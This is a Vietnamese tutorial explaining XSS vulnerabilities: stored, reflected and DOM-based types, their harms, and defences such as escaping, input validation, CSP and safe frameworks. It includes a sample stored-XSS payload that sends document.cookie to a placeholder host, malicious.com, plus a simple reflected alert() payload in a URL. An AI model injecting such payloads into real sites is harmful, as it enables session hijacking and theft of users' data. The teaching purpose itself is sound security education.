**1. Định nghĩa về XSS.**

XSS (Cross-Site Scripting) là một lỗ hổng bảo mật phổ biến trên các ứng dụng web, xảy ra khi ứng dụng cho phép người dùng chèn mã độc vào trang web, sau đó mã này được thực thi trên trình duyệt của người dùng khác.

**2. Các loại lỗ hổng XSS.**

Lỗ hổng Cross-Site Scripting (XSS) được phân loại dựa trên cách thức khai thác và vị trí mã độc thực thi.

**1. Stored XSS (Persistent XSS)**

**Mô tả:**

Mã độc được **lưu trữ vĩnh viễn** trong cơ sở dữ liệu, tệp tin, hoặc các phương tiện lưu trữ khác của ứng dụng.

Khi người dùng truy cập nội dung đã bị nhiễm (ví dụ: trang web hiển thị bình luận hoặc bài viết), mã độc sẽ được tải xuống và thực thi trên trình duyệt của họ.

**Tình huống dễ bị tấn công:**

Ứng dụng cho phép người dùng nhập nội dung (bình luận, bài đăng, thông tin cá nhân, v.v.) mà không thực hiện kiểm tra hoặc lọc dữ liệu đầu vào.

Ví dụ: Form nhập liệu không xử lý ký tự đặc biệt hoặc đoạn mã JavaScript chèn vào.

**Ví dụ minh họa:**

<script>document.location='http://malicious.com?cookie='+document.cookie</script>

**Mức độ nguy hiểm:**

Stored XSS được xem là nguy hiểm nhất vì mã độc có thể ảnh hưởng đến nhiều người dùng và duy trì trong thời gian dài.

**2. Reflected XSS (Non-Persistent XSS)**

**Mô tả:**

Xảy ra khi ứng dụng xử lý và trả về đầu vào từ người dùng ngay lập tức mà không kiểm tra.

Mã độc **không được lưu trữ**, mà chỉ tồn tại trong yêu cầu HTTP và phản hồi từ máy chủ.

**Tình huống dễ bị tấn công:**

Người dùng nhận được liên kết độc hại qua email hoặc tin nhắn.

Khi họ nhấp vào liên kết, mã độc được phản hồi lại từ máy chủ và thực thi trên trình duyệt.

**Ví dụ minh họa:**

https://example.com/search?q=<script>alert('XSS Attack');</script>

**Mức độ nguy hiểm:**

Reflected XSS ít nguy hiểm hơn Stored XSS, nhưng vẫn có thể gây hại nghiêm trọng nếu được thực hiện trên quy mô lớn (ví dụ: qua các chiến dịch phishing).

**3. DOM-Based XSS**

**Mô tả:** Xảy ra khi mã độc được thực thi **trực tiếp trong trình duyệt** thông qua việc thao tác **Document Object Model (DOM)**.

Mã độc không đi qua máy chủ mà được xử lý bởi JavaScript chạy trên trình duyệt.

**Tình huống dễ bị tấn công:**

Các trang web sử dụng JavaScript để xử lý đầu vào người dùng, nhưng không kiểm tra an toàn trước khi thực hiện thao tác DOM.

Ví dụ: Gán giá trị từ URL hoặc đầu vào của người dùng trực tiếp vào innerHTML, document.write

**Ví dụ minh họa:**

**Mức độ nguy hiểm:**

DOM-Based XSS phụ thuộc vào cách xử lý JavaScript phía client. Loại này nguy hiểm vì không cần sự can thiệp của máy chủ.

**3. Tác hại.**

a. Đánh cắp thông tin nhạy cảm

b. Phát tán mã độc

c. Thực hiện hành vi thay mặt người dùng ( chuyển tiền, thay đổi mật khẩu, gửi tin nhắn)

d. Thay đổi nội dung giao diện

**4. Cách phòng chống.**

**a. Escaping dữ liệu đầu ra**

* Thực hiện escape các ký tự đặc biệt như <, >, " trước khi hiển thị dữ liệu người dùng.

**b. Kiểm tra và lọc đầu vào**

* Kiểm tra tất cả dữ liệu nhập vào từ người dùng, chỉ chấp nhận các ký tự hợp lệ.
* Sử dụng regex hoặc thư viện xác thực dữ liệu.

**c. Sử dụng Content Security Policy (CSP)**

* CSP hạn chế nguồn tài nguyên được phép tải và thực thi, giúp giảm thiểu nguy cơ XSS:

**d. Sử dụng các thư viện và framework an toàn**;

* Các framework như **React**, **Angular**, và **Vue** cung cấp cơ chế mặc định chống XSS khi render dữ liệu.

**e. Không bao giờ tin tưởng dữ liệu người dùng**

* Không hiển thị dữ liệu từ người dùng trực tiếp mà không xử lý.

**f. Cẩn thận với các API xử lý DOM**

* Tránh sử dụng các phương pháp dễ bị XSS như innerHTML, eval, hoặc document.write.